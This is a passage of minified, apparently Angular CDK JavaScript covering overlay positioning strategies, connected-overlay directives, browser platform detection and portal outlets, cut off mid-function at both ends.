this._offsetX=t,this}withDefaultOffsetY(t){return this._offsetY=t,this}withTransformOriginOn(t){return this._transformOriginSelector=t,this}_getOriginPoint(t,e){let n,i;if("center"==e.originX)n=t.left+t.width/2;else{const i=this._isRtl()?t.right:t.left,s=this._isRtl()?t.left:t.right;n="start"==e.originX?i:s}return i="center"==e.originY?t.top+t.height/2:"top"==e.originY?t.top:t.bottom,{x:n,y:i}}_getOverlayPoint(t,e,n){let i,s;return i="center"==n.overlayX?-e.width/2:"start"===n.overlayX?this._isRtl()?-e.width:0:this._isRtl()?0:-e.width,s="center"==n.overlayY?-e.height/2:"top"==n.overlayY?0:-e.height,{x:t.x+i,y:t.y+s}}_getOverlayFit(t,e,n,i){const s=j(e);let{x:r,y:o}=t,a=this._getOffset(i,"x"),c=this._getOffset(i,"y");a&&(r+=a),c&&(o+=c);let l=0-o,u=o+s.height-n.height,h=this._subtractOverflows(s.width,0-r,r+s.width-n.width),d=this._subtractOverflows(s.height,l,u),p=h*d;return{visibleArea:p,isCompletelyWithinViewport:s.width*s.height===p,fitsInViewportVertically:d===s.height,fitsInViewportHorizontally:h==s.width}}_canFitWithFlexibleDimensions(t,e,n){if(this._hasFlexibleDimensions){const i=n.bottom-e.y,s=n.right-e.x,r=B(this._overlayRef.getConfig().minHeight),o=B(this._overlayRef.getConfig().minWidth),a=t.fitsInViewportHorizontally||null!=o&&o<=s;return(t.fitsInViewportVertically||null!=r&&r<=i)&&a}return!1}_pushOverlayOnScreen(t,e,n){if(this._previousPushAmount&&this._positionLocked)return{x:t.x+this._previousPushAmount.x,y:t.y+this._previousPushAmount.y};const i=j(e),s=this._viewportRect,r=Math.max(t.x+i.width-s.width,0),o=Math.max(t.y+i.height-s.height,0),a=Math.max(s.top-n.top-t.y,0),c=Math.max(s.left-n.left-t.x,0);let l=0,u=0;return l=i.width<=s.width?c||-r:t.x<this._viewportMargin?s.left-n.left-t.x:0,u=i.height<=s.height?a||-o:t.y<this._viewportMargin?s.top-n.top-t.y:0,this._previousPushAmount={x:l,y:u},{x:t.x+l,y:t.y+u}}_applyPosition(t,e){if(this._setTransformOrigin(t),this._setOverlayElementStyles(e,t),this._setBoundingBoxStyles(e,t),t.panelClass&&this._addPanelClasses(t.panelClass),this._lastPosition=t,this._positionChanges.observers.length){const e=this._getScrollVisibility(),n=new I(t,e);this._positionChanges.next(n)}this._isInitialRender=!1}_setTransformOrigin(t){if(!this._transformOriginSelector)return;const e=this._boundingBox.querySelectorAll(this._transformOriginSelector);let n,i=t.overlayY;n="center"===t.overlayX?"center":this._isRtl()?"start"===t.overlayX?"right":"left":"start"===t.overlayX?"left":"right";for(let s=0;s<e.length;s++)e[s].style.transformOrigin=`${n} ${i}`}_calculateBoundingBoxRect(t,e){const n=this._viewportRect,i=this._isRtl();let s,r,o,a,c,l;if("top"===e.overlayY)r=t.y,s=n.height-r+this._viewportMargin;else if("bottom"===e.overlayY)o=n.height-t.y+2*this._viewportMargin,s=n.height-o+this._viewportMargin;else{const e=Math.min(n.bottom-t.y+n.top,t.y),i=this._lastBoundingBoxSize.height;s=2*e,r=t.y-e,s>i&&!this._isInitialRender&&!this._growAfterOpen&&(r=t.y-i/2)}if("end"===e.overlayX&&!i||"start"===e.overlayX&&i)l=n.width-t.x+this._viewportMargin,a=t.x-this._viewportMargin;else if("start"===e.overlayX&&!i||"end"===e.overlayX&&i)c=t.x,a=n.right-t.x;else{const e=Math.min(n.right-t.x+n.left,t.x),i=this._lastBoundingBoxSize.width;a=2*e,c=t.x-e,a>i&&!this._isInitialRender&&!this._growAfterOpen&&(c=t.x-i/2)}return{top:r,left:c,bottom:o,right:l,width:a,height:s}}_setBoundingBoxStyles(t,e){const n=this._calculateBoundingBoxRect(t,e);!this._isInitialRender&&!this._growAfterOpen&&(n.height=Math.min(n.height,this._lastBoundingBoxSize.height),n.width=Math.min(n.width,this._lastBoundingBoxSize.width));const i={};if(this._hasExactPosition())i.top=i.left="0",i.bottom=i.right=i.maxHeight=i.maxWidth="",i.width=i.height="100%";else{const t=this._overlayRef.getConfig().maxHeight,s=this._overlayRef.getConfig().maxWidth;i.height=(0,c.HM)(n.height),i.top=(0,c.HM)(n.top),i.bottom=(0,c.HM)(n.bottom),i.width=(0,c.HM)(n.width),i.left=(0,c.HM)(n.left),i.right=(0,c.HM)(n.right),i.alignItems="center"===e.overlayX?"center":"end"===e.overlayX?"flex-end":"flex-start",i.justifyContent="center"===e.overlayY?"center":"bottom"===e.overlayY?"flex-end":"flex-start",t&&(i.maxHeight=(0,c.HM)(t)),s&&(i.maxWidth=(0,c.HM)(s))}this._lastBoundingBoxSize=n,U(this._boundingBox.style,i)}_resetBoundingBoxStyles(){U(this._boundingBox.style,{top:"0",left:"0",right:"0",bottom:"0",height:"",width:"",alignItems:"",justifyContent:""})}_resetOverlayElementStyles(){U(this._pane.style,{top:"",left:"",bottom:"",right:"",position:"",transform:""})}_setOverlayElementStyles(t,e){const n={},i=this._hasExactPosition(),s=this._hasFlexibleDimensions,r=this._overlayRef.getConfig();if(i){const i=this._viewportRuler.getViewportScrollPosition();U(n,this._getExactOverlayY(e,t,i)),U(n,this._getExactOverlayX(e,t,i))}else n.position="static";let o="",a=this._getOffset(e,"x"),l=this._getOffset(e,"y");a&&(o+=`translateX(${a}px) `),l&&(o+=`translateY(${l}px)`),n.transform=o.trim(),r.maxHeight&&(i?n.maxHeight=(0,c.HM)(r.maxHeight):s&&(n.maxHeight="")),r.maxWidth&&(i?n.maxWidth=(0,c.HM)(r.maxWidth):s&&(n.maxWidth="")),U(this._pane.style,n)}_getExactOverlayY(t,e,n){let i={top:"",bottom:""},s=this._getOverlayPoint(e,this._overlayRect,t);this._isPushed&&(s=this._pushOverlayOnScreen(s,this._overlayRect,n));let r=this._overlayContainer.getContainerElement().getBoundingClientRect().top;return s.y-=r,"bottom"===t.overlayY?i.bottom=this._document.documentElement.clientHeight-(s.y+this._overlayRect.height)+"px":i.top=(0,c.HM)(s.y),i}_getExactOverlayX(t,e,n){let i,s={left:"",right:""},r=this._getOverlayPoint(e,this._overlayRect,t);return this._isPushed&&(r=this._pushOverlayOnScreen(r,this._overlayRect,n)),i=this._isRtl()?"end"===t.overlayX?"left":"right":"end"===t.overlayX?"right":"left","right"===i?s.right=this._document.documentElement.clientWidth-(r.x+this._overlayRect.width)+"px":s.left=(0,c.HM)(r.x),s}_getScrollVisibility(){const t=this._getOriginRect(),e=this._pane.getBoundingClientRect(),n=this._scrollables.map(t=>t.getElementRef().nativeElement.getBoundingClientRect());return{isOriginClipped:S(t,n),isOriginOutsideView:C(t,n),isOverlayClipped:S(e,n),isOverlayOutsideView:C(e,n)}}_subtractOverflows(t,...e){return e.reduce((t,e)=>t-Math.max(e,0),t)}_getNarrowedViewportRect(){const t=this._document.documentElement.clientWidth,e=this._document.documentElement.clientHeight,n=this._viewportRuler.getViewportScrollPosition();return{top:n.top+this._viewportMargin,left:n.left+this._viewportMargin,right:n.left+t-this._viewportMargin,bottom:n.top+e-this._viewportMargin,width:t-2*this._viewportMargin,height:e-2*this._viewportMargin}}_isRtl(){return"rtl"===this._overlayRef.getDirection()}_hasExactPosition(){return!this._hasFlexibleDimensions||this._isPushed}_getOffset(t,e){return"x"===e?null==t.offsetX?this._offsetX:t.offsetX:null==t.offsetY?this._offsetY:t.offsetY}_validatePositions(){}_addPanelClasses(t){this._pane&&(0,c.Eq)(t).forEach(t=>{""!==t&&-1===this._appliedPanelClasses.indexOf(t)&&(this._appliedPanelClasses.push(t),this._pane.classList.add(t))})}_clearPanelClasses(){this._pane&&(this._appliedPanelClasses.forEach(t=>{this._pane.classList.remove(t)}),this._appliedPanelClasses=[])}_getOriginRect(){const t=this._origin;if(t instanceof s.SBq)return t.nativeElement.getBoundingClientRect();if(t instanceof Element)return t.getBoundingClientRect();const e=t.width||0,n=t.height||0;return{top:t.y,bottom:t.y+n,left:t.x,right:t.x+e,height:n,width:e}}}function U(t,e){for(let n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}function B(t){if("number"!=typeof t&&null!=t){const[e,n]=t.split(M);return n&&"px"!==n?null:parseFloat(e)}return t||null}function j(t){return{top:Math.floor(t.top),right:Math.floor(t.right),bottom:Math.floor(t.bottom),left:Math.floor(t.left),width:Math.floor(t.width),height:Math.floor(t.height)}}class H{constructor(t,e,n,i,s,r,o){this._preferredPositions=[],this._positionStrategy=new F(n,i,s,r,o).withFlexibleDimensions(!1).withPush(!1).withViewportMargin(0),this.withFallbackPosition(t,e),this.onPositionChange=this._positionStrategy.positionChanges}get positions(){return this._preferredPositions}attach(t){this._overlayRef=t,this._positionStrategy.attach(t),this._direction&&(t.setDirection(this._direction),this._direction=null)}dispose(){this._positionStrategy.dispose()}detach(){this._positionStrategy.detach()}apply(){this._positionStrategy.apply()}recalculateLastPosition(){this._positionStrategy.reapplyLastPosition()}withScrollableContainers(t){this._positionStrategy.withScrollableContainers(t)}withFallbackPosition(t,e,n,i){const s=new A(t,e,n,i);return this._preferredPositions.push(s),this._positionStrategy.withPositions(this._preferredPositions),this}withDirection(t){return this._overlayRef?this._overlayRef.setDirection(t):this._direction=t,this}withOffsetX(t){return this._positionStrategy.withDefaultOffsetX(t),this}withOffsetY(t){return this._positionStrategy.withDefaultOffsetY(t),this}withLockedPosition(t){return this._positionStrategy.withLockedPosition(t),this}withPositions(t){return this._preferredPositions=t.slice(),this._positionStrategy.withPositions(this._preferredPositions),this}setOrigin(t){return this._positionStrategy.setOrigin(t),this}}const V="cdk-global-overlay-wrapper";class G{constructor(){this._cssPosition="static",this._topOffset="",this._bottomOffset="",this._leftOffset="",this._rightOffset="",this._alignItems="",this._justifyContent="",this._width="",this._height=""}attach(t){const e=t.getConfig();this._overlayRef=t,this._width&&!e.width&&t.updateSize({width:this._width}),this._height&&!e.height&&t.updateSize({height:this._height}),t.hostElement.classList.add(V),this._isDisposed=!1}top(t=""){return this._bottomOffset="",this._topOffset=t,this._alignItems="flex-start",this}left(t=""){return this._rightOffset="",this._leftOffset=t,this._justifyContent="flex-start",this}bottom(t=""){return this._topOffset="",this._bottomOffset=t,this._alignItems="flex-end",this}right(t=""){return this._leftOffset="",this._rightOffset=t,this._justifyContent="flex-end",this}width(t=""){return this._overlayRef?this._overlayRef.updateSize({width:t}):this._width=t,this}height(t=""){return this._overlayRef?this._overlayRef.updateSize({height:t}):this._height=t,this}centerHorizontally(t=""){return this.left(t),this._justifyContent="center",this}centerVertically(t=""){return this.top(t),this._alignItems="center",this}apply(){if(!this._overlayRef||!this._overlayRef.hasAttached())return;const t=this._overlayRef.overlayElement.style,e=this._overlayRef.hostElement.style,n=this._overlayRef.getConfig(),{width:i,height:s,maxWidth:r,maxHeight:o}=n,a=!("100%"!==i&&"100vw"!==i||r&&"100%"!==r&&"100vw"!==r),c=!("100%"!==s&&"100vh"!==s||o&&"100%"!==o&&"100vh"!==o);t.position=this._cssPosition,t.marginLeft=a?"0":this._leftOffset,t.marginTop=c?"0":this._topOffset,t.marginBottom=this._bottomOffset,t.marginRight=this._rightOffset,a?e.justifyContent="flex-start":"center"===this._justifyContent?e.justifyContent="center":"rtl"===this._overlayRef.getConfig().direction?"flex-start"===this._justifyContent?e.justifyContent="flex-end":"flex-end"===this._justifyContent&&(e.justifyContent="flex-start"):e.justifyContent=this._justifyContent,e.alignItems=c?"flex-start":this._alignItems}dispose(){if(this._isDisposed||!this._overlayRef)return;const t=this._overlayRef.overlayElement.style,e=this._overlayRef.hostElement,n=e.style;e.classList.remove(V),n.justifyContent=n.alignItems=t.marginTop=t.marginBottom=t.marginLeft=t.marginRight=t.position="",this._overlayRef=null,this._isDisposed=!0}}let Y=(()=>{class t{constructor(t,e,n,i){this._viewportRuler=t,this._document=e,this._platform=n,this._overlayContainer=i}global(){return new G}connectedTo(t,e,n){return new H(e,n,t,this._viewportRuler,this._document,this._platform,this._overlayContainer)}flexibleConnectedTo(t){return new F(t,this._viewportRuler,this._document,this._platform,this._overlayContainer)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.rL),s.LFG(a.K0),s.LFG(r.t4),s.LFG(N))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(i.rL),s.LFG(a.K0),s.LFG(r.t4),s.LFG(N))},token:t,providedIn:"root"}),t})(),q=0,$=(()=>{class t{constructor(t,e,n,i,s,r,o,a,c,l,u){this.scrollStrategies=t,this._overlayContainer=e,this._componentFactoryResolver=n,this._positionBuilder=i,this._keyboardDispatcher=s,this._injector=r,this._ngZone=o,this._document=a,this._directionality=c,this._location=l,this._outsideClickDispatcher=u}create(t){const e=this._createHostElement(),n=this._createPaneElement(e),i=this._createPortalOutlet(n),s=new T(t);return s.direction=s.direction||this._directionality.value,new D(i,e,n,s,this._ngZone,this._keyboardDispatcher,this._document,this._location,this._outsideClickDispatcher)}position(){return this._positionBuilder}_createPaneElement(t){const e=this._document.createElement("div");return e.id="cdk-overlay-"+q++,e.classList.add("cdk-overlay-pane"),t.appendChild(e),e}_createHostElement(){const t=this._document.createElement("div");return this._overlayContainer.getContainerElement().appendChild(t),t}_createPortalOutlet(t){return this._appRef||(this._appRef=this._injector.get(s.z2F)),new l.u0(t,this._componentFactoryResolver,this._appRef,this._injector,this._document)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(k),s.LFG(N),s.LFG(s._Vd),s.LFG(Y),s.LFG(R),s.LFG(s.zs3),s.LFG(s.R0b),s.LFG(a.K0),s.LFG(o.Is),s.LFG(a.Ye),s.LFG(P))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();const z=[{originX:"start",originY:"bottom",overlayX:"start",overlayY:"top"},{originX:"start",originY:"top",overlayX:"start",overlayY:"bottom"},{originX:"end",originY:"top",overlayX:"end",overlayY:"bottom"},{originX:"end",originY:"bottom",overlayX:"end",overlayY:"top"}],Z=new s.OlP("cdk-connected-overlay-scroll-strategy");let W=(()=>{class t{constructor(t){this.elementRef=t}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq))},t.\u0275dir=s.lG2({type:t,selectors:[["","cdk-overlay-origin",""],["","overlay-origin",""],["","cdkOverlayOrigin",""]],exportAs:["cdkOverlayOrigin"]}),t})(),J=(()=>{class t{constructor(t,e,n,i,r){this._overlay=t,this._dir=r,this._hasBackdrop=!1,this._lockPosition=!1,this._growAfterOpen=!1,this._flexibleDimensions=!1,this._push=!1,this._backdropSubscription=h.w.EMPTY,this._attachSubscription=h.w.EMPTY,this._detachSubscription=h.w.EMPTY,this._positionSubscription=h.w.EMPTY,this.viewportMargin=0,this.open=!1,this.disableClose=!1,this.backdropClick=new s.vpe,this.positionChange=new s.vpe,this.attach=new s.vpe,this.detach=new s.vpe,this.overlayKeydown=new s.vpe,this.overlayOutsideClick=new s.vpe,this._templatePortal=new l.UE(e,n),this._scrollStrategyFactory=i,this.scrollStrategy=this._scrollStrategyFactory()}get offsetX(){return this._offsetX}set offsetX(t){this._offsetX=t,this._position&&this._updatePositionStrategy(this._position)}get offsetY(){return this._offsetY}set offsetY(t){this._offsetY=t,this._position&&this._updatePositionStrategy(this._position)}get hasBackdrop(){return this._hasBackdrop}set hasBackdrop(t){this._hasBackdrop=(0,c.Ig)(t)}get lockPosition(){return this._lockPosition}set lockPosition(t){this._lockPosition=(0,c.Ig)(t)}get flexibleDimensions(){return this._flexibleDimensions}set flexibleDimensions(t){this._flexibleDimensions=(0,c.Ig)(t)}get growAfterOpen(){return this._growAfterOpen}set growAfterOpen(t){this._growAfterOpen=(0,c.Ig)(t)}get push(){return this._push}set push(t){this._push=(0,c.Ig)(t)}get overlayRef(){return this._overlayRef}get dir(){return this._dir?this._dir.value:"ltr"}ngOnDestroy(){this._attachSubscription.unsubscribe(),this._detachSubscription.unsubscribe(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this._overlayRef&&this._overlayRef.dispose()}ngOnChanges(t){this._position&&(this._updatePositionStrategy(this._position),this._overlayRef.updateSize({width:this.width,minWidth:this.minWidth,height:this.height,minHeight:this.minHeight}),t.origin&&this.open&&this._position.apply()),t.open&&(this.open?this._attachOverlay():this._detachOverlay())}_createOverlay(){(!this.positions||!this.positions.length)&&(this.positions=z);const t=this._overlayRef=this._overlay.create(this._buildConfig());this._attachSubscription=t.attachments().subscribe(()=>this.attach.emit()),this._detachSubscription=t.detachments().subscribe(()=>this.detach.emit()),t.keydownEvents().subscribe(t=>{this.overlayKeydown.next(t),t.keyCode===v.hY&&!this.disableClose&&!(0,v.Vb)(t)&&(t.preventDefault(),this._detachOverlay())}),this._overlayRef.outsidePointerEvents().subscribe(t=>{this.overlayOutsideClick.next(t)})}_buildConfig(){const t=this._position=this.positionStrategy||this._createPositionStrategy(),e=new T({direction:this._dir,positionStrategy:t,scrollStrategy:this.scrollStrategy,hasBackdrop:this.hasBackdrop});return(this.width||0===this.width)&&(e.width=this.width),(this.height||0===this.height)&&(e.height=this.height),(this.minWidth||0===this.minWidth)&&(e.minWidth=this.minWidth),(this.minHeight||0===this.minHeight)&&(e.minHeight=this.minHeight),this.backdropClass&&(e.backdropClass=this.backdropClass),this.panelClass&&(e.panelClass=this.panelClass),e}_updatePositionStrategy(t){const e=this.positions.map(t=>({originX:t.originX,originY:t.originY,overlayX:t.overlayX,overlayY:t.overlayY,offsetX:t.offsetX||this.offsetX,offsetY:t.offsetY||this.offsetY,panelClass:t.panelClass||void 0}));return t.setOrigin(this.origin.elementRef).withPositions(e).withFlexibleDimensions(this.flexibleDimensions).withPush(this.push).withGrowAfterOpen(this.growAfterOpen).withViewportMargin(this.viewportMargin).withLockedPosition(this.lockPosition).withTransformOriginOn(this.transformOriginSelector)}_createPositionStrategy(){const t=this._overlay.position().flexibleConnectedTo(this.origin.elementRef);return this._updatePositionStrategy(t),t}_attachOverlay(){this._overlayRef?this._overlayRef.getConfig().hasBackdrop=this.hasBackdrop:this._createOverlay(),this._overlayRef.hasAttached()||this._overlayRef.attach(this._templatePortal),this.hasBackdrop?this._backdropSubscription=this._overlayRef.backdropClick().subscribe(t=>{this.backdropClick.emit(t)}):this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this.positionChange.observers.length>0&&(this._positionSubscription=this._position.positionChanges.pipe(function(t,e=!1){return n=>n.lift(new f(t,e))}(()=>this.positionChange.observers.length>0)).subscribe(t=>{this.positionChange.emit(t),0===this.positionChange.observers.length&&this._positionSubscription.unsubscribe()}))}_detachOverlay(){this._overlayRef&&this._overlayRef.detach(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36($),s.Y36(s.Rgc),s.Y36(s.s_b),s.Y36(Z),s.Y36(o.Is,8))},t.\u0275dir=s.lG2({type:t,selectors:[["","cdk-connected-overlay",""],["","connected-overlay",""],["","cdkConnectedOverlay",""]],inputs:{viewportMargin:["cdkConnectedOverlayViewportMargin","viewportMargin"],open:["cdkConnectedOverlayOpen","open"],disableClose:["cdkConnectedOverlayDisableClose","disableClose"],scrollStrategy:["cdkConnectedOverlayScrollStrategy","scrollStrategy"],offsetX:["cdkConnectedOverlayOffsetX","offsetX"],offsetY:["cdkConnectedOverlayOffsetY","offsetY"],hasBackdrop:["cdkConnectedOverlayHasBackdrop","hasBackdrop"],lockPosition:["cdkConnectedOverlayLockPosition","lockPosition"],flexibleDimensions:["cdkConnectedOverlayFlexibleDimensions","flexibleDimensions"],growAfterOpen:["cdkConnectedOverlayGrowAfterOpen","growAfterOpen"],push:["cdkConnectedOverlayPush","push"],positions:["cdkConnectedOverlayPositions","positions"],origin:["cdkConnectedOverlayOrigin","origin"],positionStrategy:["cdkConnectedOverlayPositionStrategy","positionStrategy"],width:["cdkConnectedOverlayWidth","width"],height:["cdkConnectedOverlayHeight","height"],minWidth:["cdkConnectedOverlayMinWidth","minWidth"],minHeight:["cdkConnectedOverlayMinHeight","minHeight"],backdropClass:["cdkConnectedOverlayBackdropClass","backdropClass"],panelClass:["cdkConnectedOverlayPanelClass","panelClass"],transformOriginSelector:["cdkConnectedOverlayTransformOriginOn","transformOriginSelector"]},outputs:{backdropClick:"backdropClick",positionChange:"positionChange",attach:"attach",detach:"detach",overlayKeydown:"overlayKeydown",overlayOutsideClick:"overlayOutsideClick"},exportAs:["cdkConnectedOverlay"],features:[s.TTD]}),t})();const Q={provide:Z,deps:[$],useFactory:function(t){return()=>t.scrollStrategies.reposition()}};let K=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({providers:[$,Q],imports:[[o.vT,l.eL,i.Cl],i.Cl]}),t})()},36145:function(t,e,n){"use strict";n.d(e,{t4:function(){return a},ud:function(){return c},sA:function(){return y},ht:function(){return b},kV:function(){return v},Oy:function(){return w},_i:function(){return _},qK:function(){return u},i$:function(){return m},Mq:function(){return g}});var i=n(2316),s=n(54364);let r;try{r="undefined"!=typeof Intl&&Intl.v8BreakIterator}catch(x){r=!1}let o,a=(()=>{class t{constructor(t){this._platformId=t,this.isBrowser=this._platformId?(0,s.NF)(this._platformId):"object"==typeof document&&!!document,this.EDGE=this.isBrowser&&/(edge)/i.test(navigator.userAgent),this.TRIDENT=this.isBrowser&&/(msie|trident)/i.test(navigator.userAgent),this.BLINK=this.isBrowser&&!(!window.chrome&&!r)&&"undefined"!=typeof CSS&&!this.EDGE&&!this.TRIDENT,this.WEBKIT=this.isBrowser&&/AppleWebKit/i.test(navigator.userAgent)&&!this.BLINK&&!this.EDGE&&!this.TRIDENT,this.IOS=this.isBrowser&&/iPad|iPhone|iPod/.test(navigator.userAgent)&&!("MSStream"in window),this.FIREFOX=this.isBrowser&&/(firefox|minefield)/i.test(navigator.userAgent),this.ANDROID=this.isBrowser&&/android/i.test(navigator.userAgent)&&!this.TRIDENT,this.SAFARI=this.isBrowser&&/safari/i.test(navigator.userAgent)&&this.WEBKIT}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(i.Lbi))},t.\u0275prov=i.Yz7({factory:function(){return new t(i.LFG(i.Lbi))},token:t,providedIn:"root"}),t})(),c=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({}),t})();const l=["color","button","checkbox","date","datetime-local","email","file","hidden","image","month","number","password","radio","range","reset","search","submit","tel","text","time","url","week"];function u(){if(o)return o;if("object"!=typeof document||!document)return o=new Set(l),o;let t=document.createElement("input");return o=new Set(l.filter(e=>(t.setAttribute("type",e),t.type===e))),o}let h,d,p,f;function m(t){return function(){if(null==h&&"undefined"!=typeof window)try{window.addEventListener("test",null,Object.defineProperty({},"passive",{get:()=>h=!0}))}finally{h=h||!1}return h}()?t:!!t.capture}function g(){if(null==p){if("object"!=typeof document||!document||"function"!=typeof Element||!Element)return p=!1,p;if("scrollBehavior"in document.documentElement.style)p=!0;else{const t=Element.prototype.scrollTo;p=!!t&&!/\{\s*\[native code\]\s*\}/.test(t.toString())}}return p}function _(){if("object"!=typeof document||!document)return 0;if(null==d){const t=document.createElement("div"),e=t.style;t.dir="rtl",e.width="1px",e.overflow="auto",e.visibility="hidden",e.pointerEvents="none",e.position="absolute";const n=document.createElement("div"),i=n.style;i.width="2px",i.height="1px",t.appendChild(n),document.body.appendChild(t),d=0,0===t.scrollLeft&&(t.scrollLeft=1,d=0===t.scrollLeft?1:2),t.parentNode.removeChild(t)}return d}function v(t){if(function(){if(null==f){const t="undefined"!=typeof document?document.head:null;f=!(!t||!t.createShadowRoot&&!t.attachShadow)}return f}()){const e=t.getRootNode?t.getRootNode():null;if("undefined"!=typeof ShadowRoot&&ShadowRoot&&e instanceof ShadowRoot)return e}return null}function b(){let t="undefined"!=typeof document&&document?document.activeElement:null;for(;t&&t.shadowRoot;){const e=t.shadowRoot.activeElement;if(e===t)break;t=e}return t}function y(t){return t.composedPath?t.composedPath()[0]:t.target}function w(){return"undefined"!=typeof __karma__&&!!__karma__||"undefined"!=typeof jasmine&&!!jasmine||"undefined"!=typeof jest&&!!jest||"undefined"!=typeof Mocha&&!!Mocha}},40912:function(t,e,n){"use strict";n.d(e,{en:function(){return l},Pl:function(){return h},C5:function(){return o},u0:function(){return u},eL:function(){return d},UE:function(){return a}});var i=n(2316),s=n(54364);class r{attach(t){return this._attachedHost=t,t.attach(this)}detach(){let t=this._attachedHost;null!=t&&(this._attachedHost=null,t.detach())}get isAttached(){return null!=this._attachedHost}setAttachedHost(t){this._attachedHost=t}}class o extends r{constructor(t,e,n,i){super(),this.component=t,this.viewContainerRef=e,this.injector=n,this.componentFactoryResolver=i}}class a extends r{constructor(t,e,n){super(),this.templateRef=t,this.viewContainerRef=e,this.context=n}get origin(){return this.templateRef.elementRef}attach(t,e=this.context){return this.context=e,super.attach(t)}detach(){return this.context=void 0,super.detach()}}class c extends r{constructor(t){super(),this.element=t instanceof i.SBq?t.nativeElement:t}}class l{constructor(){this._isDisposed=!1,this.attachDomPortal=null}hasAttached(){return!!this._attachedPortal}attach(t){return t instanceof o?(this._attachedPortal=t,this.attachComponentPortal(t)):t instanceof a?(this._attachedPortal=t,this.attachTemplatePortal(t)):this.attachDomPortal&&t instanceof c?(this._attachedPortal=t,this.attachDomPortal(t)):void 0}detach(){this._attachedPortal&&(this._attachedPortal.setAttachedHost(null),this._attachedPortal=null),this._invokeDisposeFn()}dispose(){this.hasAttached()&&this.detach(),this._invokeDisposeFn(),this._isDisposed=!0}setDisposeFn(t){this._disposeFn=t}_invokeDisposeFn(){this._disposeFn&&(this._disposeFn(),this._disposeFn=null)}}class u extends l{constructor(t,e,n,i,s){super(),this.outletElement=t,this._componentFactoryResolver=e,this._appRef=n,this._defaultInjector=i,this.attachDomPortal=t=>{const e=t.element,n=this._document.createComment("dom-portal");e.parentNode.insertBefore(n,e),this.outletElement.appendChild(e),this._attachedPortal=t,super.setDisposeFn(()=>{n.parentNode&&n.parentNode.replaceChild(e,n)})},this._document=s}attachComponentPortal(t){const e=(t.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(t.component);let n;return t.viewContainerRef?(n=t.viewContainerRef.createComponent(e,t.viewContainerRef.length,t.injector||t.viewContainerRef.injector),this.setDisposeFn(()=>n.destroy())):(n=e.create(t.injector||this._defaultInjector),this._appRef.attachView(n.hostView),this.setDisposeFn(()=>{this._appRef.detachView(n.hostView),n.destroy()})),this.outletElement.appendChild(this._getComponentRootNode(n)),this._attachedPortal=t,n}attachTemplatePortal(t){let e=t.viewContainerRef,n=e.createEmbeddedView(t.templateRef,t.context);return n.rootNodes.forEach(t=>this.outletElement.appendChild(t)),n.detectChanges(),this.setDisposeFn(()=>{let t=e.indexOf(n);-1!==t&&e.remove(t)}),this._attachedPortal=t,n}dispose(){super.dispose(),null!=this.outletElement.parentNode&&this.outletElement.parentNode.removeChild(this.outletElement)}_getComponentRootNode(t){return t.hostView.rootNodes[0]}}let h=(()=>{class t extends l{constructor(t,e,n){super(),this._componentFactoryResolver=t,this._viewContainerRef=e,this._isInitialized=!1,this.attached=new i.vpe,this.attachDomPortal=t=>{const e=t.element,n=this._document.createComment("dom-portal");t.setAttachedHost(this),e.parentNode.insertBefore(n,e),this._getRootNode().appendChild(e),this._attachedPortal=t,super.setDisposeFn(()=>{n.parentNode&&n.parentNode.replaceChild(e,n)})},this._document=n}get portal(){return this._attachedPortal}set portal(t){this.hasAttached()&&!t&&!this._isInitialized||(this.hasAttached()&&super.detach(),t&&super.attach(t),this._attachedPortal=t)}get attachedRef(){return this._attachedRef}ngOnInit(){this._isInitialized=!0}ngOnDestroy(){super.dispose(),this._attachedPortal=null,this._attachedRef=null}attachComponentPortal(t){t.setAttachedHost(this);const e=null!=t.viewContainerRef?t.viewContainerRef:this._viewContainerRef,n=(t.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(t.component),i=e.createComponent(n,e.length,t.injector||e.injector);return e!==this._viewContainerRef&&this._getRootNode().appendChild(i.hostView.rootNodes[0]),super.setDisposeFn(()=>i.destroy()),this._attachedPortal=t,this._attachedRef=i,this.attached.emit(i),i}attachTemplatePortal(t){t.setAttachedHost(this);const e=this._viewContainerRef.createEmbeddedView(t.templateRef,t.context);return super.setDisposeFn(()=>this._viewContainerRef.clear()),this._attachedPortal=t,this._attachedRef=e,this.attached.emit(e),e}_getRootNode(){const t=this._viewContainerRef.element.nativeElement;return t.nodeType===t.ELEMENT_NODE?t:t.parentNode}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i._Vd),i.Y36(i.s_b),i.Y36(s.K0))},t.\u0275dir=i.lG2({type:t,selectors:[["","cdkPortalOutlet",""]],inputs:{portal:["cdkPortalOutlet","portal"]},outputs:{attached:"attached"},exportAs:["cdkPortalOutlet"],features:[i.qOj]}),t})(),d=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({}),t})()},22102:function(t,e,n){"use strict";n.d(e,{PQ:function(){return C},ZD:function(){return E},mF:function(){return x},Cl:function(){return k},rL:function(){return S}});var i=n(20657),s=n(2316),r=n(39511),o=n(31660);new class extends o.v{flush(t){this.active=!0,this.scheduled=void 0;const{actions:e}=this;let n,i=-1,s=e.length;t=t||e.shift();do{if(n=t.execute(t.state,t.delay))break}while(++i<s&&(t=e.shift()));if(this.active=!1,n){for(;++i<s&&(t=e.shift());)t.unsubscribe();throw n}}}(class extends r.o{constructor(t,e){super(t,e),this.scheduler=t,this.work=e}requestAsyncId(t,e,n=0){return null!==n&&n>0?super.requestAsyncId(t,e,n):(t.actions.push(this),t.scheduled||(t.scheduled=requestAnimationFrame(()=>t.flush(null))))}recycleAsyncId(t,e,n=0){if(null!==n&&n>0||null===n&&this.delay>0)return 